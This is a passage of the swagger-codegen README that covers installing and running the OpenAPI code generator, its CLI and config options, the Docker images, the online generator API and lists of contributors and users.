page](https://github.com/swagger-api/swagger-codegen/wiki) and [FAQ](https://github.com/swagger-api/swagger-codegen/wiki/FAQ) :notebook_with_decorative_cover: :warning: If the OpenAPI/Swagger spec is obtained from an untrusted source, please make sure you've reviewed the spec before using Swagger Codegen to generate the API client, server stub or documentation as [code injection](https://en.wikipedia.org/wiki/Code_injection) may occur :warning: :rocket: ProductHunt: https://producthunt.com/posts/swagger-codegen :rocket: ## Overview This is the swagger codegen project, which allows generation of API client libraries (SDK generation), server stubs and documentation automatically given an [OpenAPI Spec](https://github.com/OAI/OpenAPI-Specification). Currently, the following languages/frameworks are supported: - **API clients**: **ActionScript**, **Bash**, **C#** (.net 2.0, 4.0 or later), **C++** (cpprest, Qt5, Tizen), **Clojure**, **Dart**, **Elixir**, **Go**, **Groovy**, **Haskell**, **Java** (Jersey1.x, Jersey2.x, OkHttp, Retrofit1.x, Retrofit2.x, Feign), **Node.js** (ES5, ES6, AngularJS with Google Closure Compiler annotations) **Objective-C**, **Perl**, **PHP**, **Python**, **Ruby**, **Scala**, **Swift** (2.x, 3.x), **Typescript** (Angular1.x, Angular2.x, Fetch, Node) - **Server stubs**: **C#** (ASP.NET Core, NancyFx), **Erlang**, **Go**, **Haskell**, **Java** (MSF4J, Spring, Undertow, JAX-RS: CDI, CXF, Inflector, RestEasy), **PHP** (Lumen, Slim, Silex, [Zend Expressive](https://github.com/zendframework/zend-expressive)), **Python** (Flask), **NodeJS**, **Ruby** (Sinatra, Rails5), **Scala** ([Finch](https://github.com/finagle/finch), Scalatra) - **API documentation generators**: **HTML**, **Confluence Wiki** - **Others**: **JMeter** Check out [OpenAPI-Spec](https://github.com/OAI/OpenAPI-Specification) for additional information about the OpenAPI project. # Table of contents - [Swagger Code Generator](#swagger-code-generator) - [Overview](#overview) - [Table of Contents](#table-of-contents) - Installation - [Compatibility](#compatibility) - [Prerequisites](#prerequisites) - [OS X Users](#os-x-users) - [Building](#building) - [Docker](#docker) - [Build and run](#build-and-run-using-docker) - [Run docker in Vagrant](#run-docker-in-vagrant) - [Public Docker image](#public-docker-image) - [Homebrew](#homebrew) - [Getting Started](#getting-started) - Generators - [To generate a sample client library](#to-generate-a-sample-client-library) - [Generating libraries from your server](#generating-libraries-from-your-server) - [Modifying the client library format](#modifying-the-client-library-format) - [Making your own codegen modules](#making-your-own-codegen-modules) - [Where is Javascript???](#where-is-javascript) - [Generating a client from local files](#generating-a-client-from-local-files) - [Customizing the generator](#customizing-the-generator) - [Validating your OpenAPI Spec](#validating-your-openapi-spec) - [Generating dynamic html api documentation](#generating-dynamic-html-api-documentation) - [Generating static html api documentation](#generating-static-html-api-documentation) - [To build a server stub](#to-build-a-server-stub) - [To build the codegen library](#to-build-the-codegen-library) - [Workflow Integration](#workflow-integration) - [Github Integration](#github-integration) - [Online Generators](#online-generators) - [Guidelines for Contribution](https://github.com/swagger-api/swagger-codegen/wiki/Guidelines-for-Contribution) - [Companies/Projects using Swagger Codegen](#companiesprojects-using-swagger-codegen) - [Swagger Codegen Core Team](#swagger-codegen-core-team) - [Swagger Codegen Evangelist](#swagger-codegen-evangelist) - [License](#license) ## Compatibility The OpenAPI Specification has undergone 3 revisions since initial creation in 2010. The swagger-codegen project has the following compatibilities with the OpenAPI Specification: Swagger Codegen Version | Release Date | OpenAPI Spec compatibility | Notes -------------------------- | ------------ | -------------------------- | ----- 2.3.0 (upcoming minor release) | Apr/May 2017 | 1.0, 1.1, 1.2, 2.0 | Minor release with breaking changes 2.2.3 (upcoming patch release) | TBD | 1.0, 1.1, 1.2, 2.0 | Patch release without breaking changes 2.2.2 (**current stable**) | 2017-03-01 | 1.0, 1.1, 1.2, 2.0 | [tag v2.2.2](https://github.com/swagger-api/swagger-codegen/tree/v2.2.2) 2.2.1 | 2016-08-07 | 1.0, 1.1, 1.2, 2.0 | [tag v2.2.1](https://github.com/swagger-api/swagger-codegen/tree/v2.2.1) 2.1.6 | 2016-04-06 | 1.0, 1.1, 1.2, 2.0 | [tag v2.1.6](https://github.com/swagger-api/swagger-codegen/tree/v2.1.6) 2.0.17 | 2014-08-22 | 1.1, 1.2 | [tag v2.0.17](https://github.com/swagger-api/swagger-codegen/tree/v2.0.17) 1.0.4 | 2012-04-12 | 1.0, 1.1 | [tag v1.0.4](https://github.com/swagger-api/swagger-codegen/tree/swagger-codegen_2.9.1-1.1) ### Prerequisites If you're looking for the latest stable version, you can grab it directly from Sonatype.org (Java 7 runtime at a minimum): ``` wget https://oss.sonatype.org/content/repositories/releases/io/swagger/swagger-codegen-cli/2.2.2/swagger-codegen-cli-2.2.2.jar -O swagger-codegen-cli.jar java -jar swagger-codegen-cli.jar help ``` On a mac, it's even easier with `brew`: ``` brew install swagger-codegen ``` To build from source, you need the following installed and available in your $PATH: * [Java 7 or 8](http://java.oracle.com) * [Apache maven 3.3.3 or greater](http://maven.apache.org/) #### OS X Users Don't forget to install Java 7 or 8. You probably have 1.6. Export JAVA_HOME in order to use the supported Java version: ``` export JAVA_HOME=`/usr/libexec/java_home -v 1.8` export PATH=${JAVA_HOME}/bin:$PATH ``` ### Building After cloning the project, you can build it from source with this command: ``` mvn clean package ``` ### Homebrew To install, run `brew install swagger-codegen` Here is an example usage: ``` swagger-codegen generate -i http://petstore.swagger.io/v2/swagger.json -l ruby -o /tmp/test/ ``` ### Docker #### Development in docker You can use `run-in-docker.sh` to do all development. This script maps your local repository to `/gen` in the docker container. It also maps `~/.m2/repository` to the appropriate container location. To execute `mvn package`: ``` git clone https://github.com/swagger-api/swagger-codegen cd swagger-codegen ./run-in-docker.sh mvn package ``` Build artifacts are now accessible in your working directory. Once built, `run-in-docker.sh` will act as an executable for swagger-codegen-cli. To generate code, you'll need to output to a directory under `/gen` (e.g. `/gen/out`). For example: ``` ./run-in-docker.sh help # Executes 'help' command for swagger-codegen-cli ./run-in-docker.sh langs # Executes 'langs' command for swagger-codegen-cli ./run-in-docker.sh /gen/bin/go-petstore.sh # Builds the Go client ./run-in-docker.sh generate -i modules/swagger-codegen/src/test/resources/2_0/petstore.yaml \ -l go -o /gen/out/go-petstore -DpackageName=petstore # generates go client, outputs locally to ./out/go-petstore ``` #### Run Docker in Vagrant Prerequisite: install [Vagrant](https://www.vagrantup.com/downloads.html) and [VirtualBox](https://www.virtualbox.org/wiki/Downloads). ``` git clone http://github.com/swagger-api/swagger-codegen.git cd swagger-codegen vagrant up vagrant ssh cd /vagrant ./run-in-docker.sh mvn package ``` #### Public Pre-built Docker images - https://hub.docker.com/r/swaggerapi/swagger-generator/ (official web service) - https://hub.docker.com/r/swaggerapi/swagger-codegen-cli/ (official CLI) ======= ##### Swagger Generator Docker Image The Swagger Generator image can act as a self-hosted web application and API for generating code. This container can be incorporated into a CI pipeline, and requires at least two HTTP requests and some docker orchestration to access generated code. Example usage (note this assumes `jq` is installed for command line processing of JSON): ``` # Start container and save the container id CID=$(docker run -d swaggerapi/swagger-generator) # allow for startup sleep 5 # Get the IP of the running container GEN_IP=$(docker inspect --format '{{.NetworkSettings.IPAddress}}' $CID) # Execute an HTTP request and store the download link RESULT=$(curl -X POST --header 'Content-Type: application/json' --header 'Accept: application/json' -d '{ "swaggerUrl": "http://petstore.swagger.io/v2/swagger.json" }' 'http://localhost:8188/api/gen/clients/javascript' | jq '.link' | tr -d '"') # Download the generated zip and redirect to a file curl $RESULT > result.zip # Shutdown the swagger generator image docker stop $CID && docker rm $CID ``` In the example above, `result.zip` will contain the generated client. ##### Swagger Codegen Docker Image The Swagger Codegen image acts as a standalone executable. It can be used as an alternative to installing via homebrew, or for developers who are unable to install Java or upgrade the installed version. To generate code with this image, you'll need to mount a local location as a volume. Example: ``` docker run --rm -v ${PWD}:/local swagger-api/swagger-codegen generate \ -i http://petstore.swagger.io/v2/swagger.json \ -l go \ -o /local/out/go ``` The generated code will be located under `./out/go` in the current directory. ## Getting Started To generate a PHP client for http://petstore.swagger.io/v2/swagger.json, please run the following ```sh git clone https://github.com/swagger-api/swagger-codegen cd swagger-codegen mvn clean package java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar generate \ -i http://petstore.swagger.io/v2/swagger.json \ -l php \ -o /var/tmp/php_api_client ``` (if you're on Windows, replace the last command with `java -jar modules\swagger-codegen-cli\target\swagger-codegen-cli.jar generate -i http://petstore.swagger.io/v2/swagger.json -l php -o c:\temp\php_api_client`) You can also download the JAR (latest release) directly from [maven.org](http://central.maven.org/maven2/io/swagger/swagger-codegen-cli/2.2.1/swagger-codegen-cli-2.2.1.jar ) To get a list of **general** options available, please run `java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar help generate` To get a list of PHP specified options (which can be passed to the generator with a config file via the `-c` option), please run `java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar config-help -l php` ## Generators ### To generate a sample client library You can build a client against the swagger sample [petstore](http://petstore.swagger.io) API as follows: ``` ./bin/java-petstore.sh ``` (On Windows, run `.\bin\windows\java-petstore.bat` instead) This will run the generator with this command: ``` java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar generate \ -i http://petstore.swagger.io/v2/swagger.json \ -l java \ -o samples/client/petstore/java ``` with a number of options. You can get the options with the `help generate` command: ``` NAME swagger-codegen-cli generate - Generate code with chosen lang SYNOPSIS swagger-codegen-cli generate [(-a <authorization> | --auth <authorization>)] [--additional-properties <additional properties>] [--api-package <api package>] [--artifact-id <artifact id>] [--artifact-version <artifact version>] [(-c <configuration file> | --config <configuration file>)] [-D <system properties>] [--group-id <group id>] (-i <spec file> | --input-spec <spec file>) [--import-mappings <import mappings>] [--instantiation-types <instantiation types>] [--invoker-package <invoker package>] (-l <language> | --lang <language>) [--language-specific-primitives <language specific primitives>] [--library <library>] [--model-package <model package>] [(-o <output directory> | --output <output directory>)] [(-s | --skip-overwrite)] [(-t <template directory> | --template-dir <template directory>)] [--type-mappings <type mappings>] [(-v | --verbose)] OPTIONS -a <authorization>, --auth <authorization> adds authorization headers when fetching the swagger definitions remotely. Pass in a URL-encoded string of name:header with a comma separating multiple values --additional-properties <additional properties> sets additional properties that can be referenced by the mustache templates in the format of name=value,name=value --api-package <api package> package for generated api classes --artifact-id <artifact id> artifactId in generated pom.xml --artifact-version <artifact version> artifact version in generated pom.xml -c <configuration file>, --config <configuration file> Path to json configuration file. File content should be in a json format {"optionKey":"optionValue", "optionKey1":"optionValue1"...} Supported options can be different for each language. Run config-help -l {lang} command for language specific config options. -D <system properties> sets specified system properties in the format of name=value,name=value --group-id <group id> groupId in generated pom.xml -i <spec file>, --input-spec <spec file> location of the swagger spec, as URL or file (required) --import-mappings <import mappings> specifies mappings between a given class and the import that should be used for that class in the format of type=import,type=import --instantiation-types <instantiation types> sets instantiation type mappings in the format of type=instantiatedType,type=instantiatedType.For example (in Java): array=ArrayList,map=HashMap. In other words array types will get instantiated as ArrayList in generated code. --invoker-package <invoker package> root package for generated code -l <language>, --lang <language> client language to generate (maybe class name in classpath, required) --language-specific-primitives <language specific primitives> specifies additional language specific primitive types in the format of type1,type2,type3,type3. For example: String,boolean,Boolean,Double --library <library> library template (sub-template) --model-package <model package> package for generated models -o <output directory>, --output <output directory> where to write the generated files (current dir by default) -s, --skip-overwrite specifies if the existing files should be overwritten during the generation. -t <template directory>, --template-dir <template directory> folder containing the template files --type-mappings <type mappings> sets mappings between swagger spec types and generated code types in the format of swaggerType=generatedType,swaggerType=generatedType. For example: array=List,map=Map,string=String --reserved-words-mappings <import mappings> specifies how a reserved name should be escaped to. Otherwise, the default _<name> is used. For example id=identifier -v, --verbose verbose mode ``` You can then compile and run the client, as well as unit tests against it: ``` cd samples/client/petstore/java mvn package ``` Other languages have petstore samples, too: ``` ./bin/android-petstore.sh ./bin/java-petstore.sh ./bin/objc-petstore.sh ``` ### Generating libraries from your server It's just as easy--just use the `-i` flag to point to either a server or file. ### Modifying the client library format Don't like the default swagger client syntax? Want a different language supported? No problem! Swagger codegen processes mustache templates with the [jmustache](https://github.com/samskivert/jmustache) engine. You can modify our templates or make your own. You can look at `modules/swagger-codegen/src/main/resources/${your-language}` for examples. To make your own templates, create your own files and use the `-t` flag to specify your template folder. It actually is that easy. ### Making your own codegen modules If you're starting a project with a new language and don't see what you need, swagger-codegen can help you create a project to generate your own libraries: ``` java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar meta \ -o output/myLibrary -n myClientCodegen -p com.my.company.codegen ``` This will write, in the folder `output/myLibrary`, all the files you need to get started, including a README.md. Once modified and compiled, you can load your library with the codegen and generate clients with your own, custom-rolled logic. You would then compile your library in the `output/myLibrary` folder with `mvn package` and execute the codegen like such: ``` java -cp output/myLibrary/target/myClientCodegen-swagger-codegen-1.0.0.jar:modules/swagger-codegen-cli/target/swagger-codegen-cli.jar io.swagger.codegen.SwaggerCodegen ``` For Windows users, you will need to use `;` instead of `:` in the classpath, e.g. ``` java -cp output/myLibrary/target/myClientCodegen-swagger-codegen-1.0.0.jar;modules/swagger-codegen-cli/target/swagger-codegen-cli.jar io.swagger.codegen.SwaggerCodegen ``` Note the `myClientCodegen` is an option now, and you can use the usual arguments for generating your library: ``` java -cp output/myLibrary/target/myClientCodegen-swagger-codegen-1.0.0.jar:modules/swagger-codegen-cli/target/swagger-codegen-cli.jar \ io.swagger.codegen.SwaggerCodegen generate -l myClientCodegen\ -i http://petstore.swagger.io/v2/swagger.json \ -o myClient ``` ### Where is Javascript??? See our [javascript library](http://github.com/swagger-api/swagger-js)--it's completely dynamic and doesn't require static code generation. There is a third-party component called [swagger-js-codegen](https://github.com/wcandillon/swagger-js-codegen) that can generate angularjs or nodejs source code from a OpenAPI Specification. :exclamation: On Dec 7th 2015, a Javascript API client generator has been added by @jfiala. ### Generating a client from local files If you don't want to call your server, you can save the OpenAPI Spec files into a directory and pass an argument to the code generator like this: ``` -i ./modules/swagger-codegen/src/test/resources/2_0/petstore.json ``` Great for creating libraries on your ci server, from the [Swagger Editor](http://editor.swagger.io)... or while coding on an airplane. ### Selective generation You may not want to generate *all* models in your project. Likewise you may want just one or two apis to be written. If that's the case, you can use system properties to control the output: The default is generate *everything* supported by the specific library. Once you enable a feature, it will restrict the contents generated: ``` # generate only models java -Dmodels {opts} # generate only apis java -Dapis {opts} # generate only supporting files java -DsupportingFiles # generate models and supporting files java -Dmodels -DsupportingFiles ``` To control the specific files being generated, you can pass a CSV list of what you want: ``` # generate the User and Pet models only -Dmodels=User,Pet # generate the User model and the supportingFile `StringUtil.java`: -Dmodels=User -DsupportingFiles=StringUtil.java ``` To control generation of docs and tests for api and models, pass false to the option. For api, these options are `-DapiTests=false` and `-DapiDocs=false`. For models, `-DmodelTests=false` and `-DmodelDocs=false`. These options default to true and don't limit the generation of the feature options listed above (like `-Dapi`): ``` # generate only models (with tests and documentation) java -Dmodels {opts} # generate only models (with tests but no documentation) java -Dmodels -DmodelDocs=false {opts} # generate only User and Pet models (no tests and no documentation) java -Dmodels=User,Pet -DmodelTests=false {opts} # generate only apis (without tests) java -Dapis -DapiTests=false {opts} # generate only apis (modelTests option is ignored) java -Dapis -DmodelTests=false {opts} ``` When using selective generation, _only_ the templates needed for the specific generation will be used. ### Ignore file format Swagger codegen supports a `.swagger-codegen-ignore` file, similar to `.gitignore` or `.dockerignore` you're probably already familiar with. The ignore file allows for better control over overwriting existing files than the `--skip-overwrite` flag. With the ignore file, you can specify individual files or directories can be ignored. This can be useful, for example if you only want a subset of the generated code. Examples: ``` # Swagger Codegen Ignore # Lines beginning with a # are comments # This should match build.sh located anywhere. build.sh # Matches build.sh in the root /build.sh # Exclude all recursively docs/** # Explicitly allow files excluded by other rules !docs/UserApi.md # Recursively exclude directories named Api # You can't negate files below this directory. src/**/Api/ # When this file is nested under /Api (excluded above), # this rule is ignored because parent directory is excluded by previous rule. !src/**/PetApiTests.cs # Exclude a single, nested file explicitly src/IO.Swagger.Test/Model/AnimalFarmTests.cs ``` The `.swagger-codegen-ignore` file must exist in the root of the output directory. ### Customizing the generator There are different aspects of customizing the code generator beyond just creating or modifying templates. Each language has a supporting configuration file to handle different type mappings, etc: ``` $ ls -1 modules/swagger-codegen/src/main/java/io/swagger/codegen/languages/ AbstractJavaJAXRSServerCodegen.java AbstractTypeScriptClientCodegen.java AkkaScalaClientCodegen.java AndroidClientCodegen.java AspNet5ServerCodegen.java AspNetCoreServerCodegen.java AsyncScalaClientCodegen.java BashClientCodegen.java CSharpClientCodegen.java ClojureClientCodegen.java CsharpDotNet2ClientCodegen.java DartClientCodegen.java FlashClientCodegen.java FlaskConnexionCodegen.java GoClientCodegen.java HaskellServantCodegen.java JMeterCodegen.java JavaCXFServerCodegen.java JavaClientCodegen.java JavaInflectorServerCodegen.java JavaJerseyServerCodegen.java JavaResteasyServerCodegen.java JavascriptClientCodegen.java NodeJSServerCodegen.java NancyFXServerCodegen ObjcClientCodegen.java PerlClientCodegen.java PhpClientCodegen.java PythonClientCodegen.java Qt5CPPGenerator.java RubyClientCodegen.java ScalaClientCodegen.java ScalatraServerCodegen.java SilexServerCodegen.java SinatraServerCodegen.java SlimFrameworkServerCodegen.java SpringMVCServerCodegen.java StaticDocCodegen.java StaticHtmlGenerator.java SwaggerGenerator.java SwaggerYamlGenerator.java SwiftCodegen.java TizenClientCodegen.java TypeScriptAngularClientCodegen.java TypeScriptNodeClientCodegen.java ``` Each of these files creates reasonable defaults so you can get running quickly. But if you want to configure package names, prefixes, model folders, etc. you can use a json config file to pass the values. ``` java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar generate \ -i http://petstore.swagger.io/v2/swagger.json \ -l java \ -o samples/client/petstore/java \ -c path/to/config.json ``` and `config.json` contains the following as an example: ``` { "apiPackage" : "petstore" } ``` Supported config options can be different per language. Running `config-help -l {lang}` will show available options. **These options are applied via configuration file (e.g. config.json) or by passing them with `-D{optionName}={optionValue}**. (If `-D{optionName}` does not work, please open a [ticket](https://github.com/swagger-api/swagger-codegen/issues/new) and we'll look into it) ``` java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar config-help -l java ``` Output ``` CONFIG OPTIONS modelPackage package for generated models apiPackage package for generated api classes sortParamsByRequiredFlag Sort method arguments to place required parameters before optional parameters. Default: true invokerPackage root package for generated code groupId groupId in generated pom.xml artifactId artifactId in generated pom.xml artifactVersion artifact version in generated pom.xml sourceFolder source folder for generated code localVariablePrefix prefix for generated code members and local variables serializableModel boolean - toggle "implements Serializable" for generated models library library template (sub-template) to use: jersey1 - HTTP client: Jersey client 1.18. JSON processing: Jackson 2.4.2 jersey2 - HTTP client: Jersey client 2.6 feign - HTTP client: Netflix Feign 8.1.1. JSON processing: Jackson 2.6.3 okhttp-gson (default) - HTTP client: OkHttp 2.4.0. JSON processing: Gson 2.3.1 retrofit - HTTP client: OkHttp 2.4.0. JSON processing: Gson 2.3.1 (Retrofit 1.9.0) retrofit2 - HTTP client: OkHttp 2.5.0. JSON processing: Gson 2.4 (Retrofit 2.0.0-beta2) ``` Your config file for Java can look like ```json { "groupId":"com.my.company", "artifactId":"MyClient", "artifactVersion":"1.2.0", "library":"feign" } ``` For all the unspecified options default values will be used. Another way to override default options is to extend the config class for the specific language. To change, for example, the prefix for the Objective-C generated files, simply subclass the ObjcClientCodegen.java: ```java package com.mycompany.swagger.codegen; import io.swagger.codegen.languages.*; public class MyObjcCodegen extends ObjcClientCodegen { static { PREFIX = "HELO"; } } ``` and specify the `classname` when running the generator: ``` -l com.mycompany.swagger.codegen.MyObjcCodegen ``` Your subclass will now be loaded and overrides the `PREFIX` value in the superclass. ### Bringing your own models Sometimes you don't want a model generated. In this case, you can simply specify an import mapping to tell the codegen what _not_ to create. When doing this, every location that references a specific model will refer back to your classes. Note, this may not apply to all languages... To specify an import mapping, use the `--import-mappings` argument and specify the model-to-import logic as such: ``` --import-mappings Pet=my.models.MyPet ``` Or for multiple mappings: ``` Pet=my.models.MyPet,Order=my.models.MyOrder ``` ### Validating your OpenAPI Spec You have options. The easiest is to use our [online validator](https://github.com/swagger-api/validator-badge) which not only will let you validate your spec, but with the debug flag, you can see what's wrong with your spec. For example: http://online.swagger.io/validator/debug?url=http://petstore.swagger.io/v2/swagger.json ### Generating dynamic html api documentation To do so, just use the `-l dynamic-html` flag when reading a spec file. This creates HTML documentation that is available as a single-page application with AJAX. To view the documentation: ``` cd samples/dynamic-html/ npm install node . ``` Which launches a node.js server so the AJAX calls have a place to go. ### Generating static html api documentation To do so, just use the `-l html` flag when reading a spec file. This creates a single, simple HTML file with embedded css so you can ship it as an email attachment, or load it from your filesystem: ``` cd samples/html/ open index.html ``` ### To build a server stub Please refer to https://github.com/swagger-api/swagger-codegen/wiki/Server-stub-generator-HOWTO for more information. ### To build the codegen library This will create the swagger-codegen library from source. ``` mvn package ``` Note! The templates are included in the library generated. If you want to modify the templates, you'll need to either repackage the library OR specify a path to your scripts ## Workflow integration You can use the [swagger-codegen-maven-plugin](modules/swagger-codegen-maven-plugin/README.md) for integrating with your workflow, and generating any codegen target. ## GitHub Integration To push the auto-generated SDK to GitHub, we provide `git_push.sh` to streamline the process. For example: 1) Create a new repository in GitHub (Ref: https://help.github.com/articles/creating-a-new-repository/) 2) Generate the SDK ``` java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar generate \ -i modules/swagger-codegen/src/test/resources/2_0/petstore.json -l perl \ --git-user-id "wing328" \ --git-repo-id "petstore-perl" \ --release-note "Github integration demo" \ -o /var/tmp/perl/petstore ``` 3) Push the SDK to GitHub ``` cd /var/tmp/perl/petstore /bin/sh ./git_push.sh ``` ## Online generators One can also generate API client or server using the online generators (https://generator.swagger.io) For example, to generate Ruby API client, simply send the following HTTP request using curl: ``` curl -X POST -H "content-type:application/json" -d '{"swaggerUrl":"http://petstore.swagger.io/v2/swagger.json"}' https://generator.swagger.io/api/gen/clients/ruby ``` Then you will receieve a JSON response with the URL to download the zipped code. To customize the SDK, you can `POST` to `https://generator.swagger.io/gen/clients/{language}` with the following HTTP body: ``` { "options": {}, "swaggerUrl": "http://petstore.swagger.io/v2/swagger.json" } ``` in which the `options` for a language can be obtained by submitting a `GET` request to `https://generator.swagger.io/api/gen/clients/{language}`: For example, `curl https://generator.swagger.io/api/gen/clients/python` returns ``` { "packageName":{ "opt":"packageName", "description":"python package name (convention: snake_case).", "type":"string", "default":"swagger_client" }, "packageVersion":{ "opt":"packageVersion", "description":"python package version.", "type":"string", "default":"1.0.0" }, "sortParamsByRequiredFlag":{ "opt":"sortParamsByRequiredFlag", "description":"Sort method arguments to place required parameters before optional parameters.", "type":"boolean", "default":"true" } } ``` To set package name to `pet_store`, the HTTP body of the request is as follows: ``` { "options": { "packageName": "pet_store" }, "swaggerUrl": "http://petstore.swagger.io/v2/swagger.json" } ``` and here is the curl command: ``` curl -H "Content-type: application/json" -X POST -d '{"options": {"packageName": "pet_store"},"swaggerUrl": "http://petstore.swagger.io/v2/swagger.json"}' https://generator.swagger.io/api/gen/clients/python ``` Guidelines for Contribution --------------------------- Please refer to this [page](https://github.com/swagger-api/swagger-codegen/blob/master/CONTRIBUTING.md) Companies/Projects using Swagger Codegen ---------------------------------------- Here are some companies/projects using Swagger Codegen in production. To add your company/project to the list, please visit [README.md](https://github.com/swagger-api/swagger-codegen/blob/master/README.md) and click on the icon to edit the page. - [Activehours](https://www.activehours.com/) - [Acunetix](https://www.acunetix.com/) - [Atlassian](https://www.atlassian.com/) - [Autodesk](http://www.autodesk.com/) - [Avenida Compras S.A.](https://www.avenida.com.ar) - [AYLIEN](http://aylien.com/) - [Balance Internet](https://www.balanceinternet.com.au/) - [beemo](http://www.beemo.eu) - [bitly](https://bitly.com) - [Bufferfly Network](https://www.butterflynetinc.com/) - [Cachet Financial](http://www.cachetfinancial.com/) - [carpolo](http://www.carpolo.co/) - [CloudBoost](https://www.CloudBoost.io/) - [Conplement](http://www.conplement.de/) - [Cummins] (http://www.cummins.com/) - [Cupix](http://www.cupix.com) - [DBBest Technologies](https://www.dbbest.com) - [DecentFoX](http://decentfox.com/) - [DocuSign](https://www.docusign.com) - [Ergon](http://www.ergon.ch/) - [EMC](https://www.emc.com/) - [eureka](http://eure.jp/) - [everystory.us](http://everystory.us) - [Expected Behavior](http://www.expectedbehavior.com/) - [Fastly](https://www.fastly.com/) - [Flat](https://flat.io) - [Finder](http://en.finder.pl/) - [FH Münster - University of Applied Sciences](http://www.fh-muenster.de) - [Fotition](https://www.fotition.com/) - [Gear Zero Network](https://www.gearzero.ca) - [Germin8](http://www.germin8.com) - [goTransverse](http://www.gotransverse.com/api) - [GraphHopper](https://graphhopper.com/) - [Gravitate Solutions](http://gravitatesolutions.com/) - [Hewlett Packard Enterprise](https://hpe.com) - [High Technologies Center](http://htc-cs.com) - [IMS Health](http://www.imshealth.com/en/solution-areas/technology-and-applications) - [Intent HQ](http://www.intenthq.com) - [Interactive Intelligence](http://developer.mypurecloud.com/) - [Kabuku](http://www.kabuku.co.jp/en) - [Kurio](https://kurio.co.id) - [Kuroi](http://kuroiwebdesign.com/) - [Kuary](https://kuary.com/) - [Kubernetes](https://kubernetes.io/) - [LANDR Audio](https://www.landr.com/) - [Lascaux](http://www.lascaux.it/) - [Leica Geosystems AG](http://leica-geosystems.com) - [LiveAgent](https://www.ladesk.com/) - [LXL Tech](http://lxltech.com) - [MailMojo](https://mailmojo.no/) - [Mindera](http://mindera.com/) - [Mporium](http://mporium.com/) - [Neverfail](https://neverfail.com/) - [nViso](http://www.nviso.ch/) - [Okiok](https://www.okiok.com) - [Onedata](http://onedata.org) - [OrderCloud.io](http://ordercloud.io) - [OSDN](https://osdn.jp) - [PagerDuty](https://www.pagerduty.com) - [PagerTree](https://pagertree.com) - [Pepipost](https://www.pepipost.com) - [Plexxi](http://www.plexxi.com) - [Pixoneye](http://www.pixoneye.com/) - [PostAffiliatePro](https://www.postaffiliatepro.com/) - [Prill Tecnologia](http://www.prill.com.br) - [QAdept](http://qadept.com/) - [QuantiModo](https://quantimo.do/) - [QuickBlox](https://quickblox.com/) - [Rapid7](https://rapid7.com/) - [Reload! A/S](https://reload.dk/) - [REstore](https://www.restore.eu) - [Revault Sàrl](http://revault.ch) - [Riffyn](https://riffyn.com) - [Royal Bank of Canada (RBC)](http://www.rbc.com/canada.html) - [Saritasa](https://www.saritasa.com/) - [SCOOP Software GmbH](http://www.scoop-software.de) - [Shine Solutions](https://shinesolutions.com/) - [Simpfony](https://www.simpfony.com/) - [Skurt](http://www.skurt.com) - [Slamby](https://www.slamby.com/) - [SmartRecruiters](https://www.smartrecruiters.com/) - [snapCX](https://snapcx.io) - [SPINEN](http://www.spinen.com) - [SRC](https://www.src.si/) - [StyleRecipe](http://stylerecipe.co.jp) - [Svenska Spel AB](https://www.svenskaspel.se/) - [TaskData](http://www.taskdata.com/) - [ThoughtWorks](https://www.thoughtworks.com) - [Upwork](http://upwork.com/) - [uShip](https://www.uship.com/) - [VMware](https://vmware.com/) - [W.UP](http://wup.hu/?siteLang=en) - [Wealthfront](https://www.wealthfront.com/) - [Webever GmbH](https://www.webever.de/) - [WEXO A/S](https://www.wexo.dk/) - [Zalando](https://tech.zalando.com) - [ZEEF.com](https://zeef.com/) # Swagger Codegen Core Team Swagger Codegen core team members are contributors who have been making significant contributions (review issues, fix bugs, make enhancements, etc) to the project on a regular basis. ## API Clients | Languages | Core Team (join date) | |:-------------|:-------------| | ActionScript | | | C++ | | | C# | @jimschubert (2016/05/01) | | | Clojure | @xhh (2016/05/01) | | Dart | | | Groovy | | | Go | @guohuang (2016/05/01) @neilotoole (2016/05/01) | | Java | @cbornet (2016/05/01) @xhh (2016/05/01) @epaul (2016/06/04) | | Java (Spring Cloud) | @cbornet (2016/07/19) | | NodeJS/Javascript | @xhh (2016/05/01) | | ObjC | @mateuszmackowiak (2016/05/09) | | Perl | @wing328 (2016/05/01) | | PHP | @arnested (2016/05/01) | | Python | @scottrw93 (2016/05/01) | | Ruby | @wing328 (2016/05/01) @zlx (2016/05/22) | | Scala | | | Swift | @jaz-ah (2016/05/01) @Edubits (2016/05/01) | | TypeScript (Node) | @Vrolijkx (2016/05/01) | | TypeScript (Angular1) | @Vrolijkx (2016/05/01) | | TypeScript (Angular2) | @Vrolijkx (2016/05/01) | | TypeScript (Fetch) | | ## Server Stubs | Languages | Core Team (date joined) | |:------------- |:-------------| | C# ASP.NET5 | @jimschubert (2016/05/01) | | Go Server | @guohuang (2016/06/13) | | Haskell Servant | | | Java Spring Boot | @cbornet (2016/07/19) | | Java Spring MVC | @kolyjjj (2016/05/01) @cbornet (2016/07/19) | | Java JAX-RS | | | NancyFX | | | NodeJS | @kolyjjj (2016/05/01) | | PHP Lumen | @abcsum (2016/05/01) | | PHP Silex | | | PHP Slim | | | Python Flask | | | Ruby Sinatra | @wing328 (2016/05/01) | | | Scala Scalatra | | | | Scala Finch | @jimschubert (2017/01/28) | ## Template Creator Here is a list of template creators: * API Clients: * Akka-Scala: @cchafer * Bash: @bkryza * C++ REST: @Danielku15 * C# (.NET 2.0): @who * Clojure: @xhh * Dart: @yissachar * Elixir: @niku * Groovy: @victorgit * Go: @wing328 * Java (Feign): @davidkiss * Java (Retrofit): @0legg * Java (Retrofi2): @emilianobonassi * Java (Jersey2): @xhh * Java (okhttp-gson): @xhh * Javascript/NodeJS: @jfiala * Javascript (Closure-annotated Angular) @achew22 * JMeter @davidkiss * Perl: @wing328 * Swift: @tkqubo * Swift 3: @hexelon * TypeScript (Node): @mhardorf * TypeScript (Angular1): @mhardorf * TypeScript (Fetch): @leonyu * TypeScript (Angular2): @roni-frantchi * Server Stubs * C# ASP.NET5: @jimschubert * C# NancyFX: @mstefaniuk * Erlang Server: @galaxie * Go Server: @guohuang * Haskell Servant: @algas * Java MSF4J: @sanjeewa-malalgoda * Java Spring Boot: @diyfr * Java Undertow: 